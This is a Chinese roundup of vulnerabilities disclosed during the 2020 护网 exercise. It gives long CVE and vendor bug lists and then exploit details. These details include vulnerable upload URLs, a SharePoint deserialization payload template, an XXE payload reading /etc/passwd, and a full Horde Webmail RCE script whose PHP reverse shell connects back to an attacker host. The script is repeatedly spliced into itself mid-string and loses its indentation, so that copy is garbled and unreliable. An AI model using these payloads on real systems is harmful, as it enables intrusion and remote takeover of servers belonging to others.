2020护网期间公布漏洞总结-附部分漏洞Poc,Exp

2020护网期间公布漏洞总结-附部分漏洞Poc,Exp

9月11日-9月23日漏洞(来自补天)

1.深信服EDR某处命令执行漏洞,危害级别:危急

2.深信服SSL VPN 远程代码执行漏洞,危害级别:危急

3.绿盟UTS综合威胁探针信息泄露漏洞,危害级别:危急,官方已发布补丁

4.Apache DolphinScheduler远程代码执行漏洞(CVE-2020-11974),危害级别:危急,官方已发布补丁

5.Apache Cocoon security vulnerability (CVE-2020-11991),危害级别:危急,官方已发布补丁

6.天融信TopApp-LB 负载均衡系统SQL注入漏洞,危害级别:高危

7.用友GRP-u8 命令执行漏洞,危害级别:危急

8.泛微云桥任意文件读取漏洞,危害级别:高危

9.齐治堡垒机前台远程命令执行漏洞,危害级别:危急

10.联软准入系统任意文件上传漏洞EXP公开,危害级别:危急

11.PAN-OS远程代码执行漏洞,危害级别:危急

12.天融信NGFW下一代防火墙漏洞辟谣,危害级别:无

13.山石网科下一代防火墙SG-6000漏洞辟谣,危害级别:无

14.Nagios 命令执行漏洞,危害级别:危急

15.Weblogic远程命令执行漏洞,危害级别:危急

16.IE浏览器远程代码执行漏洞,危害级别:高危

17.网御星云VPN老版本存在漏洞,危害级别:高危

18.微软NetLogon 权限提升漏洞,危害级别:危急

19.致远A8文件上传漏洞,危害级别:危急

20.致远A8反序列化漏洞,危害级别:危急

21.深信服VPN 任意用户添加漏洞,危害级别:危急

22.拓尔思TRSWAS5.0文件读取漏洞,危害级别:中危

23.Wordpress File-manager任意文件上传,危害级别:高危

24.Apache DolphinScheduler权限提升漏洞(CVE-2020-13922) ,危害级别:高危

25.致远OA任意文件写入漏洞,危害级别:危急

26.Microsoft Exchange远程代码执行漏洞通告,危害级别:危急

27.Spectrum Protect Plus任意代码执行漏洞,危害级别:高危

28.深信服 SSL VPN Nday – Pre Auth 任意密码重置漏洞,危害级别:高危

29.深信服 SSL VPN 修改绑定手机号码漏洞,等级:高危

30.McAfee Web Gateway多个高危漏洞,危害级别:高危

31.Yii2框架反序列化远程命令执行漏洞,危害级别:高危

32.微软 SQL Server 报表服务远程代码执行漏洞(CVE-2020-0618),危害级别:高危

33.Spring框架RFD攻击漏洞通告,危害级别:中危

34.VMware Fusion 权限提升漏洞(CVE-2020-3980),危害级别:中危

35.Aruba Clearpass远程命令执行漏洞(CVE-2020-7115),危害级别:高危

36.Yii2框架反序列化远程命令执行漏洞二次更新,危害级别:高危

37.Apache Superset远程代码执行漏洞(CVE-2020-13948)危害级别:高危

38. Fastadmin文件上传漏洞,危害级别:高危

39.WebSphere Application Server XXE 漏洞,危害级别:高危

40.建文工程项目管理软件任意文件上传漏洞,危害级别:高危

雨苁–注:某些漏洞属于厂商旧版本/退市型号的产品,对厂商声誉可能有影响,请注明.


来自白泽Sec整理的漏洞列表

1.VMware Fusion cve-2020-3980权限提升
2.Apache Cocoon security vulnerability cve-2020-11991
3.Spring框架RFD(文件下载)
4.CVE-2020-0618-SQLServer报表服务远程代码执行漏洞
5.CVE-2020-7115-Aruba Clearpass远程代码执行漏洞
6.CVE-2020-15148-Yii 2框架反序列化远程命令执漏洞
7.CVE-2020-13948-Apache Superset 远程代码执行
8.深信服 SSL VPN Nday – Pre Auth 修改绑定手机
9.深信服 SSL VPN Nday – Pre Auth 任意密码重置
10.CVE-2020-1472-NetLogon特权提升漏洞
11.CVE-2020-2040-PAN-OS远程代码执行漏洞
12.ThinkPHP3.x注入漏洞
13.用友GRP-u8 SQL注入
14.泛微云桥任意文件读取
15.联软准入文件上传漏洞
16.奇治堡垒机 Python代码注入
17.用友GRP-u8 命令执行漏洞
18.Nagios命令执行
19.Weblogic远程命令执行
20.网御星云VPN老版本漏洞
21.拓尔思5.0文件读取漏洞
22.wordpress File-manager任意文件上传
23.天融信TOPApp-LB负载均衡SQL注入漏洞
24.绿盟UTS综合威胁探针管理员任意登录
25.深信服EDR3.2.21远程代码执行
26.CVE-2020-11974-Apache DolphinScheduler远程执行代码漏洞
27.CVE-2020-11107-XAMPP任意命令执行漏洞
28.CVE-2020-16875-Exchange远程代码执行漏洞
29.深信服EDR远程代码 执行漏洞
30.CVE-2020-24616-Jackson 多个反序列化安全漏洞
31.宝塔面板888端口pma未授权访问
32.深信服 EDR 任意用户登录漏洞
33.泛微e-cology某版本存在RCE漏洞
34.CVE-2020-13933-Apache Shiro 权限绕过漏洞
35.通达OA11.6未授权远程代码执行漏洞
36.深信服EDR远程命令执行漏洞
37.天融信数据防泄漏系统未授权修改管理员密码
38.CVE-2020-11995-Apache Dubbo远程代码执行漏洞
39.PHPCMS v9全版本前台RCE
40.CVE-2019-0230-Struts2远程代码执行漏洞
41.CVE-2020-13699-TeamViewer全版本无密码连接
42.CVE-2020-13921-Apache SkyWalking SQL注入漏洞
43.CVE-2020-13925-Apache Kylin 远程命令执行漏洞
44.CVE-2020-1350-Windows DNS Server远程代码执行漏洞
45.CVE-2020-14645-Weblogic命令执行漏洞
46.CVE-2020-8194-Citrix代码注入等系列漏洞
47.CVE-2020-10977-Gitlab CE/EE任意文件读取/RCE
48.CVE-2020-8193-Citrix ADC远程代码执行
49.CVE-2020-5902-F5 BIG-IP TMUI 远程代码执行漏洞
50.CVE-2020-9498-Apache Guacamole RDP 远程代码执行漏洞
51.CVE-2020-9480-Apache Spark远程代码执行漏洞
52.CVE-2020-11989-Apache Shiro身份验证绕过漏洞
53.CVE-2020-1948-Apache Dubbo反序列化漏洞
54.CVE-2020-9483-Apache SkyWalkingSQL注入漏洞
55.CVE-2020-4450-WebSphere远程代码执行漏洞
56.用友NC6.5反序列化漏洞
57.CVE-2020-3956-VMware Cloud Director 代码注入漏洞
58.CVE-2020-5410-Spting-Cloud-Config-Server目录遍历
59.CVE-2020-1956-Apache Kylin远程命令执行漏洞
60.Fastjson <= 1.2.68 远程命令执行漏洞
61.CVE-2020-9484-Apache Tomcat session持久化远程代码执行漏洞
62.vBulletin 5.6.1 SQL注入漏洞
63.CVE-2020-11651-SaltStack认证绕过漏洞/命令执行
64.CVE-2020-11652-SaltStack目录遍历漏洞
65.通达OA11.4存在越权登录漏洞
66.CVE-2020-4362-WebSphere远程代码执行漏洞
67.通达OA11.5存在多处SQL注入漏洞
68.CVE-2020-1947-ShardingShpere命令执行漏洞
69.通达OA文件包含漏洞和SQL注入漏洞
70.CVE-2020-0796 SMBV3远程命令执行漏洞
71.CVE-2020-0688-Exchange远程代码执行漏洞
72.CVE-2020-1938-Apache Tomcat文件包含漏洞
73.CVE-2019-17564-Apache Dubbo反序列化漏洞
78.CVE-2020-0601-签名伪造
79.ThinkPHP6 任意文件操作漏洞
80.CVE-2020-2551-Weblogic反序列化漏洞
81.CVE-2020-2555-Weblogic反序列化漏洞
82.CVE-2020-9951 Apple Safari 远程执行代码漏洞
83.CVE-2020-9992 Apple Xcode 远程命令执行漏洞
84.Citrix Systems 多款产品存在安全漏洞
85.CVE-2020-8245
86.CVE-2020-8246
87.CVE-2020-8247
88.CVE-2020-11861 KM03709900 操作代理,本地特权漏洞
89.CVE-2020-11699 SpamTitan 7.07 多个RCE漏洞
90.CVE-2020-11699
91.CVE-2020-11699
92.CVE-2020-11699
93.CVE-2020-7115 Aruba Clearpass 远程命令执行漏洞
94.CVE-2020-0688 Microsoft Exchange Server远程代码执行漏洞
95.CVE-2020-1035 Microsoft Internet Explorer VBScript Engine 远程代码执行漏洞
96.CVE-2020-1048 Microsoft Windows Print Spooler 安全漏洞
97.CVE-2020-1092 Microsoft Internet Explorer 远程代码执行漏洞
98.CVE-2020-16875 Microsoft Exchange远程代码执行漏洞
99.CVE-2020-8028 SUSE访问控制错误漏洞
100.CVE-2020-25751 Joomla paGO Commerce 2.5.9.0 SQL 注入
101.CVE-2020-16860 Microsoft Dynamics 365远程代码执行漏洞
102.CVE-2020-15920 Mida Solutions eFramework ajaxreq.php 命令注入漏洞
103.CVE-2020-12109 TP-Link云摄像头 NCXXX系列存在命令注入漏洞
104.CVE-2020-5421 SPRING FRAMEWORK反射型文件下载漏洞
105.CVE-2020-25790 Typesetter CMS任意文件上传
106.CVE-2020-4643 IBM WebSphere 存在XXE外部实体注入漏洞
107.webTareas存在多个安全漏洞
108.CNNVD-202009-1177
109.CNNVD-202009-1176
110.CNNVD-202009-1175
112.CVE-2020-1350 Microsoft Windows Server DNS Server 缓冲区错误漏洞
113.PHPCMS V9 存在RCE漏洞
114.QEMU-KVM越界读写漏洞
115.Cochip无线路由器绕过认证泄露账号密码漏洞
116.CVE-2020-4450 WebSphere远程代码执行漏洞
117.CVE-2020-13933 Apache shiro权限绕过漏洞

来自IDLab整理的漏洞详情

01.联软任意文件上传漏洞

已知存在漏洞的url如下:http://IP:80/uai/newDevRegist/updateDevUploadinfo.htm(只有201904-1SP起才存在该漏洞)http://IP:80/uai/download/uploadfileToPath.htm(受影响的版本都存在该漏洞)http://IP:80/uai/newDevRegist/newDevRegist/newDevRegist/..;/..;/updateDevUploadinfo.htm(只有201904-1SP起才存在该漏洞)http://IP:80/uai/download/download/download/..;/..;/uploadfileToPath.htm (受影响的版本都存在该漏洞)

02.网瑞达资源访问控制系统命令执行漏洞

手工检测:使用普通账户登录进入主界面,在输入框中输入[email protected]:8860并点击立即跳转,跳转页面若包含pong字符串则存在漏洞。

03.Exchange Server 远程代码执行漏洞

前提:需要一个Exchange用户账号。就能在Exchange服务器上执行任意命令POC地址:https://srcincite.io/pocs/cve-2020-16875.py.txthttps://srcincite.io/pocs/cve-2020-16875.ps1.txt

04.SharePoint远程代码执行漏洞

pox.xml

<DataSet>  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">    <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">      <xs:complexType>        <xs:choice minOccurs="0" maxOccurs="unbounded">          <xs:element name="Exp_x0020_Table">            <xs:complexType>              <xs:sequence>                <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.LosFormatter, System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>              </xs:sequence>            </xs:complexType>          </xs:element>        </xs:choice>      </xs:complexType>    </xs:element>  </xs:schema>  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">    <somedataset>      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted">        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">        <ExpandedElement/>        <ProjectedProperty0>            <MethodName>Deserialize</MethodName>            <MethodParameters>                <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">这里放payload</anyType>            </MethodParameters>            <ObjectInstance xsi:type="LosFormatter"></ObjectInstance>        </ProjectedProperty0>        </pwn>      </Exp_x0020_Table>    </somedataset>  </diffgr:diffgram></DataSet>

05.Apache Cocoon XML注入

漏洞利用条件有限必须是apacheCocoon且使用了StreamGenerator,也就是说只要传输的数据被解析就可以实现了。

<!--?xml version="1.0" ?--><!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]><userInfo><firstName>John</firstName> <lastName>&ent;</lastName></userInfo>

06.Horde Groupware Webmail Edition 远程命令执行

来源: https://srcincite.io/pocs/zdi-20-1051.py.txt

#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability

Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33

Summary:
========

It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.

Example:
========

saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337

saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""

import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread

def rs(cbh, cbp):
    return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
    $dis=preg_replace('/[, ]+/', ',', $dis);
    $dis=explode(',', $dis);
    $dis=array_map('trim', $dis);
}else{
    $dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
    global $dis; 
    if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
        $c=$c." 2>&1\\n";
    }
    ob_start();
    system($c);
    $o=ob_get_contents();
    ob_end_clean();
    if (strlen($o) === 0){
        $o = "NULL";
    }
    return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
    $out = '';
    if(substr($c,0,3) == 'cd '){
        chdir(substr($c,3,-1));
    }else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
        break;
    }else{
        $out=PtdSlhY(substr($c,0,-1));
        if($out===false){
            fwrite($s, $nofuncs);
            break;
        }
    }
    fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)

def get_session(t, p, usr, pwd):
    uri = "http://%s%slogin.php" % (t, p)
    p = {
        "login_post" : 1337,
        "horde_user" : usr,
        "horde_pass" : pwd
    }
    r = requests.post(uri, data=p, allow_redirects=False)
    match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
    assert len(match) == 2, "(-) failed to login"
    return match[1]

def trigger_deserialization(t, p, s, host, port):
    """ Object instantiation to reach the deserialization """
    handlerthr = Thread(target=handler, args=(port,))
    handlerthr.start()
    uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
    p = {
        "imple" : "IMP_Prefs_Sort",
        "app" : "imp",
    }
    h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
    c = { "Horde" : s }
    r = requests.get(uri, params=p, cookies=c, headers=h)
    match = re.search("horde_logout_token=(.*)&", r.text)
    assert match, "(-) failed to leak the horde_logout_token!"
    p['token'] = match.group(1)
    r = requests.get(uri, params=p, cookies=c, headers=h)
    assert r.status_code == 200, "(-) failed to trigger deserialization!"

def get_pop():
    """ An updated pop chain """
    pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
    pop += 'S:43:"\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
Horde_Kolab_Server_Decorator_Clean\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
$dis=explode(',', $dis);
$dis=array_map('trim', $dis);
}else{
$dis=array();
}
$ipaddr='%s';
$port=%d;
function PtdSlhY($c){
global $dis; 
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
$c=$c." 2>&1\\n";
}
ob_start();
system($c);
$o=ob_get_contents();
ob_end_clean();
if (strlen($o) === 0){
$o = "NULL";
}
return $o;
}
$nofuncs='no exec functions';
[email protected]("tcp://$ipaddr",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
}else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=PtdSlhY(substr($c,0,-1));
if($out===false){
fwrite($s, $nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);""" % (cbh, cbp)
def get_session(t, p, usr, pwd):
uri = "http://%s%slogin.php" % (t, p)
p = {
"login_post" : 1337,
"horde_user" : usr,
"horde_pass" : pwd
}
r = requests.post(uri, data=p, allow_redirects=False)
match = re.findall("Horde=(.{26});", r.headers['set-cookie'])
assert len(match) == 2, "(-) failed to login"
return match[1]
def trigger_deserialization(t, p, s, host, port):
""" Object instantiation to reach the deserialization """
handlerthr = Thread(target=handler, args=(port,))
handlerthr.start()
uri = "http://%s%sservices/ajax.php/imp/imple" % (t, p)
p = {
"imple" : "IMP_Prefs_Sort",
"app" : "imp",
}
h = { "cmd" : base64.b64encode(rs(host, port).encode()) }
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c, headers=h)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c, headers=h)
assert r.status_code == 200, "(-) failed to trigger deserialization!"
def get_pop():
""" An updated pop chain """
pop  = 'O:34:"Horde_Kolab_Server_Decorator_Clean":2:{'
pop += 'S:43:"\\00Horde_Kolab_Server_Decorator_Clean\\00_server";O:20:"Horde_Prefs_Identity":3:{'
pop += 'S:9:"\\00*\\00_prefs";O:11:"Horde_Prefs":2:{'
pop += 'S:8:"\\00*\\00_opts";a:1:{'
pop += 's:12:"sizecallback";a:2:{i:0;O:12:"Horde_Config":1:{'
pop += 'S:13:"\\00*\\00_oldConfig";s:44:"eval(base64_decode($_SERVER[HTTP_CMD]));die;";'
pop += '}i:1;s:13:"readXMLConfig";}}'
pop += 'S:10:"\\00*\\00_scopes";a:1:{'
pop += 's:5:"horde";C:17:"Horde_Prefs_Scope":10:{[null,[1]]}}}'  # implements Serializable using custom unserialize/serialize
pop += 'S:13:"\\00*\\00_prefnames";a:1:{s:10:"identities";i:0;}'
pop += 'S:14:"\\00*\\00_identities";a:1:{i:0;i:0;}}'             # additional checks
pop += 'S:42:"\\00Horde_Kolab_Server_Decorator_Clean\\00_added";a:1:{i:0;i:0;}}'
return pop
def get_patch():
""" Our original array """
patch  = 'a:1:{'
patch += 's:5:"INBOX";a:1:{'
patch += 's:1:"b";i:6;'
patch += '}}'
return patch
def set_pref(t, p, s, k, o):
""" A primitive that inserts a string into the database """
uri = "http://%s%sservices/ajax.php/imp/setPrefValue" % (t, p)
p = {
"pref" : k,
"value" : o,
}
c = { "Horde" : s }
r = requests.get(uri, params=p, cookies=c)
match = re.search("horde_logout_token=(.*)&", r.text)
assert match, "(-) failed to leak the horde_logout_token!"
p['token'] = match.group(1)
r = requests.get(uri, params=p, cookies=c)
assert ("\"response\":true" in r.text and r.status_code == 200), "(-) failed to set the preference!"
def handler(lport):
print("(+) starting handler on port %d" % lport)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("0.0.0.0", lport))
s.listen(1)
conn, addr = s.accept()
print("(+) connection from %s" % addr[0])
t.sock = conn
print("(+) pop thy shell!")
t.interact()
def fix_path(p):
if p == "/":
return p
if not p.startswith("/"):
p = "/%s" % p
if not p.endswith("/"):
p = "%s/" % p
return p
def main():
if len(sys.argv) < 5:
print("(+) usage %s <target> <path> <user:pass> <connectback:port>" % sys.argv[0])
print("(+) eg: %s 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337" % sys.argv[0])
sys.exit(0)
target = sys.argv[1]
path   = fix_path(sys.argv[2])
user   = sys.argv[3].split(":")[0]
pswd   = sys.argv[3].split(":")[1]
host   = sys.argv[4].split(":")[0]
port   = int(sys.argv[4].split(":")[1])
print("(+) targeting http://%s%s" % (target, path))
session = get_session(target, path, user, pswd)
print("(+) obtained session %s" % session)
set_pref(target, path, session, 'sortpref', get_pop())
print("(+) inserted our php object")
print("(+) triggering deserialization...")
trigger_deserialization(target, path, session, host, port)
set_pref(target, path, session, 'sortpref', get_patch())
print("(+) repaired the target!")
if __name__ == "__main__":
main()
_server";O:20:"Horde_Prefs_Identity":3:{' pop += 'S:9:"\
#!/usr/bin/env python3
"""
Horde Groupware Webmail Edition Sort sortpref Deserialization of Untrusted Data Remote Code Execution Vulnerability
Identifiers: ZDI-CAN-10436 / ZDI-20-1051
Found by ..: mr_me
Tested on .: Horde Groupware Webmail 5.2.22 (pear installation) on Debian 9 Stretch w/ Apache/2.4.25 & PHP 7.0.33
Summary:
========
It's possible to reach a deserialization of untrusted data vulnerability within the constructor of the IMP_Prefs_Sort class. A low privileged authenticated attacker can leverage this to achieve remote code execution.
Example:
========
saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!
"""
import re
import sys
import socket
import requests
import telnetlib
import base64
from threading import Thread
def rs(cbh, cbp):
return """@error_reporting(-1);
@set_time_limit(0); 
@ignore_user_abort(1);
[email protected]_get('disable_functions');
if(!empty($dis)){
$dis=preg_replace('/[, ]+/', ',', $dis);
